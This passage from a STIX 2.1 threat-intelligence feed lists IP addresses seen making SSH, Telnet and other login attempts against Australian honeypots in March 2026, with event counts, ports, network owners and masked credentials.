      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**************v, 1******o, 2****0, 3***********4, 3**********4.",
      "id": "indicator--aedd66ae-0bb5-4d29-84cc-f260d1ef16d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.218.69.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T17:15:13.000Z",
      "valid_until": "2026-04-03T17:15:12.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): 1*******@, a*******a, m**e.",
      "id": "indicator--8fc1b0fb-7c31-4d18-aa59-dc9985fd7108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.189.234.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--3357387b-61f8-4305-a7cc-bb7866e01405",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.25.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--6bf5d3d0-8dc0-4ab9-9175-e92b8c064089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.104.93.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--20878be8-78e9-4a2a-b258-45d3319d36bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.202.117.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--8912a344-8534-4b4e-b69a-51aad9d645fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 263077. Organisation(s): RazaoInfo Internet Ltda. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1******2, 3***********4, 3**********4, 4*******n.",
      "id": "indicator--345ff9c8-3b85-4a3c-9a9c-0ff72e777ded",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '191.5.31.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): a***n, h****p, l*******r, o****e. Passwords observed (masked): a***n, h****p, o*******3, s****s.",
      "id": "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.32.162.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): G************1, U**************************************************************************************************************6. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.129.187.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 5065. Organisation(s): Bunny Communications. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1*********f, 1******x, 1**************R, 3***********4, 3**********4.",
      "id": "indicator--8892a90b-29ee-4f42-9ade-348139fd18d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.236.203.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a5c0fda1-6f87-4fce-b24e-e2a46db221ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.77.88.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, o****e, p******s, s****r, t******r. Passwords observed (masked): r**t, 1****1, ***, ***, a***n.",
      "id": "indicator--3e18843e-7bce-4b35-9399-0f7a0be3ec54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.134.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******s.",
      "id": "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 29124. Organisation(s): Iskratelecom JSC.",
      "id": "indicator--9cc0d3c3-52a2-4ab1-84ab-e13371b6a7e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.200.20.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: GB. ASN(s): 201002. Organisation(s): PebbleHost Ltd.",
      "id": "indicator--bde96bb2-b68a-470c-a777-868a2b18f1ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--51b26af1-49c2-4824-a3c4-ff66b73e5ceb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T18:15:03.000Z",
      "valid_until": "2026-04-03T18:15:01.000Z"
    },
    {
      "created": "2026-03-02T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 1********s, 1********t, 3***********4, 3**********4.",
      "id": "indicator--cb508bf7-189c-4ac1-9e8e-e17623eb900f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.221.27.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:15:13.000Z",
      "valid_until": "2026-04-03T19:15:11.000Z"
    },
    {
      "created": "2026-03-02T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 653. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a**x, ***, ***, *. Passwords observed (masked): ***, 1****6, 1******8, a******3, ***.",
      "id": "indicator--be64cf93-ca45-4257-a701-36398b558c23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.243.175.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:15:13.000Z",
      "valid_until": "2026-04-03T19:15:11.000Z"
    },
    {
      "created": "2026-03-02T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--873bf137-3bff-4dd6-900d-9d6631d681ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.236.109.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:15:13.000Z",
      "valid_until": "2026-04-03T19:15:11.000Z"
    },
    {
      "created": "2026-03-02T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PE. ASN(s): 269843. Organisation(s): BANTEL SAC.",
      "id": "indicator--2a4cf8c5-f265-4ce2-a82a-d8ff7d63e2e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.189.108.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T19:15:13.000Z",
      "valid_until": "2026-04-03T19:15:11.000Z"
    },
    {
      "created": "2026-03-02T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): r**t. Passwords observed (masked): a******a.",
      "id": "indicator--5bc96f77-9e31-4885-978d-bcadecf8f1df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.216.211.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:15:13.000Z",
      "valid_until": "2026-04-03T20:15:11.000Z"
    },
    {
      "created": "2026-03-02T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 199785. Organisation(s): Cloud Hosting Solutions, Limited.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 1*******Z, 1******x, 1**********y, 3***********4.",
      "id": "indicator--59407841-510b-40a6-b1d9-8cdc52225b7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.192.31.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:15:13.000Z",
      "valid_until": "2026-04-03T20:15:11.000Z"
    },
    {
      "created": "2026-03-02T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--1c5f3e8f-92dd-4d94-a03e-9c515f511092",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.67.161.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:15:13.000Z",
      "valid_until": "2026-04-03T20:15:11.000Z"
    },
    {
      "created": "2026-03-02T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 211. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, #******x, 2****3.",
      "id": "indicator--19093dba-3e29-47fb-9773-b659cc1d781e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.69.56.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:15:13.000Z",
      "valid_until": "2026-04-03T20:15:11.000Z"
    },
    {
      "created": "2026-03-02T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG.",
      "id": "indicator--1b91fcc2-3729-4622-8b1e-bfca2f44e5af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.238.113.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T20:15:13.000Z",
      "valid_until": "2026-04-03T20:15:11.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 353. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1*********f, 1********n, 1******r.",
      "id": "indicator--43b3e2a7-c600-4cfe-a296-e0fd5ba03762",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.174.114.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 212. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, 3**********4, 1****5, 2********M.",
      "id": "indicator--77d38974-34e2-4450-aae6-9ecbf3281a76",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 18109. Organisation(s): MAISHA NET. Usernames observed (masked): r**t, a****1, 3**********4. Passwords observed (masked): 1*********f, 0**********b, 1********6, 3***********4, 3**********4.",
      "id": "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.86.198.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 13335. Organisation(s): Cloudflare, Inc.. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 1********3, 3***********4, !*******3, 1****************9, 3**********4.",
      "id": "indicator--d864c10b-a619-4985-b98f-7999778897b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.28.233.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--08b9e068-95e2-4571-9693-e9792c40750b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.224.59.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 353. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a****1. Passwords observed (masked): 3***********4, 3**********4, 1*********f, 1********n, 1******r.",
      "id": "indicator--156da012-e2b1-4d3a-b28f-ac23ab65ed61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.150.110.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): r**t, a****1, 3**********4. Passwords observed (masked): 1*********f, !**********y, 1*********@, 3***********4, 3**********4.",
      "id": "indicator--06cbc694-d289-4ab2-8c5b-67169275a9fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '12.156.67.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): 2********M, Z*******@, a****n.",
      "id": "indicator--5d9acd10-f910-41bf-a14d-1a46a01449cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.107.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
      "created": "2026-03-02T21:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 718. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): 1**2, 1****d, M******s, a******h, a******e.",
      "id": "indicator--01191fab-85cc-47c4-bc43-8e5273d7a583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T21:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.202.191.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T21:15:06.000Z",
      "valid_until": "2026-04-03T21:15:05.000Z"
    },
    {
